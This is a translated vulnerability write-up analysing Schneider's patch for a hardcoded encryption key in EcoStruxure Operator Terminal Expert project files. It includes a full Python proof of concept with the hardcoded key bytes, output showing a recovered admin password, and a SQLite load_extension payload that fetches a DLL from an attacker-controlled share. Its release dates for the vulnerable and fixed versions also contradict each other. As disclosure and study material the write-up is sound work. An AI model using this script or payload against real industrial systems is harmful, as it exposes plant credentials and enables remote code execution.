对工控软件施耐德 EcoStruxure Operator Terminal Expert 漏洞的补丁分析
2020-03-03 11:30:00 Author: www.4hou.com(查看原文) 阅读量:423 收藏

0x01  漏洞描述

正如Cim在其博客中写的那样,即使进行加密,他也可以打包和解压缩项目文件,这是因为被修补的bug之一是用于加密和解密项目文件的硬编码加密密钥。

0x02  漏洞版本

先弄清楚哪些版本是存在漏洞的

· EcoStruxure Operator Terminal Expert V3.1.iso-SHA1 386312d68ba5e6a98df24258f2fbcfb2d8c8521b::

该版本易受攻击并于2019年12月20日发布。

· Installation_File_v3.1_SP1.zip-SHA1 229c8a5f9cdb1d63c2f9998d561a50a30e829d7a::

该版本不受攻击,于20/9/2019发行。

0x03  漏洞验证

项目文件(.vxdz)是可以提取的简单zip压缩文件。

 saturn:~ mr_me$ unzip -d sample sample.vxdz 
 Archive:  sample.vxdz
  extracting: sample/Alarm.db         
  extracting: sample/AllDataLogging.dat  
  extracting: sample/contents.inf     
  extracting: sample/Converters.dat   
  extracting: sample/hierarchy.inf    
  extracting: sample/Language.db      
  extracting: sample/logging.dat      
  extracting: sample/Project.dat      
  extracting: sample/Recipe.Binding.dat  
  extracting: sample/Recipe.db        
  extracting: sample/RecipeControls.dat  
  extracting: sample/scripts.inf      
  extracting: sample/Security.db      
  extracting: sample/SystemKeypad.inf  
  extracting: sample/Target.Binding.dat  
  extracting: sample/Target.dat       
  extracting: sample/Validations.dat  
  extracting: sample/Variables.db     
  extracting: sample/Screens/panel1.binding.dat  
  extracting: sample/Screens/panel1.dat  
  extracting: sample/Scripts/panel0.binding.dat  
  extracting: sample/Scripts/panel0.dat  
  extracting: sample/[Content_Types].xml  
 saturn:~ mr_me$ file sample/Security.db
 sample/Security.db: data
 saturn:~ mr_me$ strings sample/Security.db 
 ]3uU
 B[]~
 J|)o
 JdnAq
 ER$_0
 pPQ$M

尝试确定.db文件的文件类型和/或检查其内容时,我们可以快速看到使用deflate加密和压缩了文件。通常,这不是问题,但是Security.db文件可以包含敏感信息,例如用户名和密码。

 saturn:~ mr_me$ ./poc.py 
 (+) usage: ./poc.py  [options ]
 (+) eg: ./poc.py sample.vxdz unpack
 (+) eg: ./poc.py sample.vxdz pack
 saturn:~ mr_me$ ./poc.py sample.vxdz unpack
 (+) unpacking to sample
 (+) unpacking: sample/Validations.dat
 (+) unpacking: sample/Screens/panel1.binding.dat
 (+) unpacking: sample/Recipe.Binding.dat
 (+) unpacking: sample/RecipeControls.dat
 (+) unpacking: sample/hierarchy.inf
 (+) unpacking: sample/Alarm.db
 (+) unpacking: sample/Recipe.db
 (+) unpacking: sample/Project.dat
 (+) unpacking: sample/Screens/panel1.dat
 (+) unpacking: sample/Language.db
 (+) unpacking: sample/scripts.inf
 (+) unpacking: sample/Target.Binding.dat
 (+) unpacking: sample/Target.dat
 (+) unpacking: sample/AllDataLogging.dat
 (+) unpacking: sample/logging.dat
 (+) unpacking: sample/Scripts/panel0.binding.dat
 (+) unpacking: sample/Scripts/panel0.dat
 (+) unpacking: sample/Converters.dat
 (+) unpacking: sample/Security.db
 (+) unpacking: sample/SystemKeypad.inf
 (+) unpacking: sample/Variables.db
 (+) unpacking: sample/contents.inf
 (+) unpacking: sample/[Content_Types].xml
 (+) unpacked and decrypted: sample.vxdz
 saturn:~ mr_me$ file sample/Security.db 
 sample/Security.db: SQLite 3.x database, last written using SQLite version 3008010
 saturn:~ mr_me$ strings sample/Security.db | grep admin
 admins
 admin09cfb7e71f097ebfed99e3ca3ba5d8b9e26162e19d03949566df9a12097d3bb2
 adminthe master admin userThisIsASecretPassword!^L4G
 saturn:~ mr_me$

使用我们的PoC,可以在.vdxz文件中发现密码,并且在上面的示例中,我们可以看到密码ThisIsASecretPassword!

0x04  远程代码执行

在Checkpoint的博客文章中发布了SQLite fts3_tokenizer不可信指针远程执行代码漏洞(CVE-2019-8602)的详细信息

SQLite二进制文件中不仅为EcoStruxure Operator Terminal Expert启用了FTS3扩展,而且还使用了过时的版本:3.8.10.2。。

事实证明,SQLite二进制文件sqlite3_load_extension也启用了接口,这意味着使用以下payload即可轻松执行远程代码:

 select load_extension('\\attacker\calc.dll','DllMain');

0x05  漏洞补丁

施耐德在SP1中发布的补丁实质上是使用每个项目的密码来加密文件,而不是使用硬编码的加密密钥。

每个项目的密码警告:

此外,SP1中附带的SQLite二进制文件具有FTS3扩展名和sqlite3_load_extension接口已禁用。

0x06  分析结论

尽管没有发布CVE,但是如果在网络中发现.vdxz文件,则可以获取敏感信息。

完整PoC代码:

 #!/usr/local/bin/python3
 """
 Schneider Electric EcoStruxure Operator Terminal Expert Hardcoded Cryptographic Key Information Disclosure Vulnerability
 SRC: SRC-2020-0010
 CVE: N/A
 File: EcoStruxure Operator Terminal Expert V3.1.iso
 SHA1: 386312d68ba5e6a98df24258f2fbcfb2d8c8521b
 Download: https://download.schneider-electric.com/files?p_File_Name=EcoStruxure+Operator+Terminal+Expert+V3.1.iso
 """
 import os
 import re
 import sys
 import glob
 import zlib
 import zipfile
 from Crypto.Cipher import DES3
 
 # hardcoded values
 key  = [ 202, 20, 221, 52, 225, 154, 5, 123, 111, 219, 11, 199, 145, 27, 200, 129, 254, 222, 253, 119, 213, 134, 72, 78 ]
 iv   = [ 95, 21, 44, 250, 112, 73, 114, 155 ]
 des3 = [ 93, 51, 117, 85, 189, 76, 88, 200, 231, 127 ]
 plen  = 8
 
 def check_equal(iterator):
    # if all the values are the same then its padding...
    return len(set(iterator)) <= 1
 
 def _inflate(decoded_data):
     return zlib.decompress(decoded_data, -15)
 
 def _deflate(string_val):
     compressed = zlib.compress(string_val)
     return compressed[2:-4]
 
 def delete_folder(top) :
     for root, dirs, files in os.walk(top, topdown=False):
         for name in files:
             os.remove(os.path.join(root, name))
         for name in dirs:
             os.rmdir(os.path.join(root, name))
     os.rmdir(top)
 
 def decrypt_file(filename):
     print("(+) unpacking: %s" % filename)
     decr = DES3.new(bytes(key), DES3.MODE_CBC, bytes(iv))
     default_data = bytes([8, 8, 8, 8, 8, 8, 8, 8])
     with open(filename, "rb") as f:
         if list(f.read(10)) == des3:
             encrypted = f.read()
             raw_data = decr.decrypt(encrypted)
             if not check_equal(list(raw_data)):
                 raw_data = _inflate(raw_data)
         else:
             f.seek(0)
             raw_data = f.read() 
     # now that we have the decrypted data, let's overwrite the file...
     with open(filename, "wb") as f:
         f.write(raw_data)
 
 def encrypt_file(filename):
     print("(+) packing: %s" % filename)
     encr = DES3.new(bytes(key), DES3.MODE_CBC, bytes(iv))
     with open(filename, "rb") as f:
         packed_data = f.read()
         if not packed_data == bytes([8, 8, 8, 8, 8, 8, 8, 8]):
             packed_data = _deflate(packed_data)
         # padding for encryption, same as schneider
         pad = plen - (len(packed_data) % plen)
         # if we just have padding in there, then dont bother adding more padding now...
         if len(packed_data) != 8:
             for i in range(0, pad):
                 packed_data += bytes([pad])
         encr_data = bytes(des3) + encr.encrypt(packed_data)
     with open(filename, "wb") as f:
         f.write(encr_data)
 
 def unpack(project):
     z = os.path.abspath(project)
     output_dir = os.path.splitext(z)[0]
     print("(+) unpacking to %s" % output_dir)
     if os.path.exists(output_dir):
         print("(-) %s already exists!" % output_dir)
         return False
     zip_obj = zipfile.ZipFile(z, 'r')
     zip_obj.extractall(output_dir)
     zip_obj.close()
     # two levels deep, we can do more if we need to
     for file in list(set(glob.glob(output_dir + '/**/**/*.*', recursive=True))):
         decrypt_file(file)
     print("(+) unpacked and decrypted: %s" % project)
 
 def pack(project):
     z = os.path.abspath(project)
     output_dir = os.path.splitext(z)[0]
     # two levels deep, we can do more if we need to
     for file in list(set(glob.glob(output_dir + '/**/**/*.*', recursive=True))):
         if os.path.basename(file) != "[Content_Types].xml":
             encrypt_file(file)
 
     zf = zipfile.ZipFile(project, "w")
     for file in list(set(glob.glob(os.path.basename(output_dir) + '/**/**/*.*', recursive=True))):
         zf.write(file, "/".join(file.strip("/").split('/')[1:]))
 
     zf.close()
     delete_folder(output_dir)
     print("(+) packed and encrypted: %s" % project)
 
 def main():
     if len(sys.argv) != 3:
         print("(+) usage: %s  [options ]" % sys.argv[0])
         print("(+) eg: %s sample.vxdz unpack" % sys.argv[0])
         print("(+) eg: %s sample.vxdz pack" % sys.argv[0])
         sys.exit(0)
     f = sys.argv[1]
     c = sys.argv[2]
     if c.lower() == "unpack":
         unpack(f)
     elif c.lower() == "pack":
         pack(f)
     else:
         print("(-) invalid option!")
         sys.exit(1)
 
 if __name__ == '__main__':
     main()

参考信息:

https://srcincite.io/advisories/src-2020-0010/

本文翻译自:https://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-ecostruxure-operator-terminal-expert.html如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/215M
如有侵权请联系:admin#unsafe.sh